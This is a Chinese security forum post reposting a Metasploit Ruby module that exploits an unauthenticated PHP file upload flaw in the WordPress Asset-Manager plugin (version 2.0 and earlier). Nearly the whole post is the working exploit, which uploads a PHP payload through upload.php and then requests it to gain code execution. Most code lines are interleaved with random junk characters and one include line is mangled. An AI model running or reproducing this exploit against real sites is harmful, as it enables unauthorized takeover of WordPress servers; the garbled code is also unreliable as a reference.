找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2545|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。4 j, q' h  |& {& ~' q$ w4 a1 Q
- N0 m! p1 E, x0 N( |
##. I- O3 I" Q$ Q! G" w+ Z' L
# This file is part of the Metasploit Framework and may be subject to) j" A6 S7 W: x: Q3 K
# redistribution and commercial restrictions. Please see the Metasploit" t7 U* o6 g% S- w  ~( V
# Framework web site for more information on licensing and terms of use.
' N4 e" b  L7 @' H#   http://metasploit.com/framework/
. N- g6 R" u; [- L8 C# j: T##
8 l: |% r, r, |1 l . S2 N8 F' C. \# Z' w0 {; v
require 'msf/core'4 C6 ?4 y4 v5 E6 g% o
require 'msf/core/exploit/php_exe'0 N! t0 Z( h* ?$ a* r; o7 b9 J
$ t; W& l: s: C! t. n) w/ i" e
class Metasploit3 < Msf::Exploit::Remote
' x+ k! K6 r* Q/ }& ~- ~  Rank = ExcellentRanking
# D5 }, s8 X& _ % q8 c8 J8 S" I0 Z0 U
  include Msf::Exploit::Remote::HttpClient
5 t  e2 Q, {  J2 m( n  include Msf::Exploit:hpEXE
1 ]& N5 y+ \# g3 ~/ _- a7 B 0 w/ s! S" A5 k" u6 z( K8 ^
  def initialize(info = {})
# Z/ G9 ~9 Q- v6 w' d    super(update_info(info,
9 I" h: D- W  j3 v      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
1 g% o1 j& M  S2 Q      'Description'    => %q{; v# t7 D  V9 B  ^% p8 e- T* z# v
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress1 \3 o  f  c+ d% _3 A8 |
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a; c: [: O% w7 z5 V
        temp directory without authentication, which results in arbitrary code execution.
  i1 Q6 \4 i  b- q      },
& @3 ~  f& q% a  F0 Q& n' t, u9 S, h      'Author'         =>. O" i+ }" k1 ~. ], T" F
        [! _0 K* p8 \, I
          'Sammy FORGIT', # initial discovery
/ Y) V& E) l0 n0 v          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
7 }1 W0 o( O7 C+ {1 S* I8 _        ],
$ m6 ?8 \' R/ e) l      'License'        => MSF_LICENSE,
. a8 B5 O) y+ p1 d. S" ]- V      'References'     =>
" [7 E) o! D* z7 e4 t! N- x        [
5 n1 U* e# Y2 L2 ?! q5 n          [ 'OSVDB', '82653' ],
9 A2 }0 n( w4 [& G          [ 'BID', '53809' ],
1 M0 q4 W5 @) a" \8 ~  y8 @          [ 'EDB', '18993' ],+ e( l# U1 f! D) W8 \+ p) [/ ~/ R/ C
          [ 'URL', 'http:// www.myhack58.com /' ]
( p  g) u3 Z2 z# o7 `; v8 P        ]," u. C& O" a, A0 x+ |) f* @% E
      'Payload'       =>
) e# T" t3 w" F% u, m        {
! X4 B: y3 E) Q- f" Z, U' L          'BadChars' => "\x00",; i* j) T: h& y8 ?* w: F; P0 X
        },
& M  K- H" h/ E6 Q; b      'Platform'       => 'php',; ~- k& {! ?7 `. k5 ~" W
      'Arch'           => ARCH_PHP,) A- t" ?$ V$ k) E% T; y/ B/ a9 O) {
      'Targets'        =>5 t+ @  _+ c+ c- I3 P
        [
2 _% Q* p( {: \  Z% {          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],: n" m& }$ D$ ]
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]  d- \+ J7 v4 C+ {
        ],# s* @  u. _5 g" ^; T1 Q2 h
      'DefaultTarget' => 0,
- t% W3 V9 s: v7 B2 ?6 b      'DisclosureDate' => 'May 26 2012'))
  V3 B; }( K! ]. c. r0 g' c # _% i/ \% A# W5 v/ j% D3 t. v
    register_options(1 P& Z3 B( X$ s1 ?2 f
      [" I# s4 t2 `; H3 i, `- a
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
# q5 A) j" U+ Y  `: r      ], self.class)- }) G& ~6 i1 R9 v# y/ Q1 W
  end3 m5 Q1 ]0 @/ U/ u* ]* {/ S7 L

: F5 g9 C& i) |) u. z  def exploit" w8 D3 V6 E% [7 `2 F% b, N) ^% r
    uri =  target_uri.path
1 i5 X; v( ^. x0 V    uri << '/' if uri[-1,1] != '/'9 t' @1 B% \* t! X9 H# @8 q
    peer = "#{rhost}:#{rport}"
3 w2 H5 ^6 O1 t! N6 z) m# T! s    payload_name = "#{rand_text_alpha(5)}.php"
* V4 \! a  A- m8 q    php_payload = get_write_exec_payload(:unlink_self=>true)
8 U" ^  O4 P; _4 d% K7 ^$ ^6 U
! e- G* H% |3 L, ^    data = Rex::MIME::Message.new& I1 j3 q0 p3 j7 x
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
* N3 e, H/ s" K. S    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
/ q: S- E1 ^5 ~. @9 m " _! n" z, c9 ~
    print_status("#{peer} - Uploading payload #{payload_name}")
7 ^& \4 l( b9 p    res = send_request_cgi({
, z* ~+ M  n+ E) A: q* L: U" S+ X      'method'  => 'POST',/ _, g: N& n9 u  s* {& |
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
2 f& F9 Z- z+ w      'ctype'   => "multipart/form-data; boundary=#{data.bound}",* k4 y; E8 r- H$ O1 [) N. v7 F2 ^
      'data'    => post_data
# s" f/ v0 |1 B+ k# ^% Z: L    }): D5 `) A0 S6 r
* x$ t/ R+ M$ i
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
+ E" g0 X5 Z  ]% M, C0 [) O      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")5 A( |: p$ R" t) w% e
end5 x' b7 j4 i- X
: E. U2 e+ u" Y/ v
    print_status("#{peer} - Executing payload #{payload_name}")! t0 f- U, p7 m+ r! ^8 M8 S6 a
    res = send_request_raw({
% I; a/ e. e" U5 C9 g2 H      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
1 f4 }$ p4 O2 }7 X2 q3 I- e4 `      'method'  => 'GET'& @5 n  ?* t) P1 G, u4 \5 g
    })6 u' E, X2 `$ c" M8 |' Y1 h0 v
7 c9 t: N" P, n& m' z+ ?1 v
    if res and res.code != 200
3 u* e7 n- d# U" J2 u3 U      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")  M) [6 Q- z6 P5 O  P% C( X! i: C% ~
    end" R  E7 ~2 [) h, d# a/ d! m
  end5 @7 X% r( d: {6 y8 B! w# Q
end$ S) l  y7 ~4 h: i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表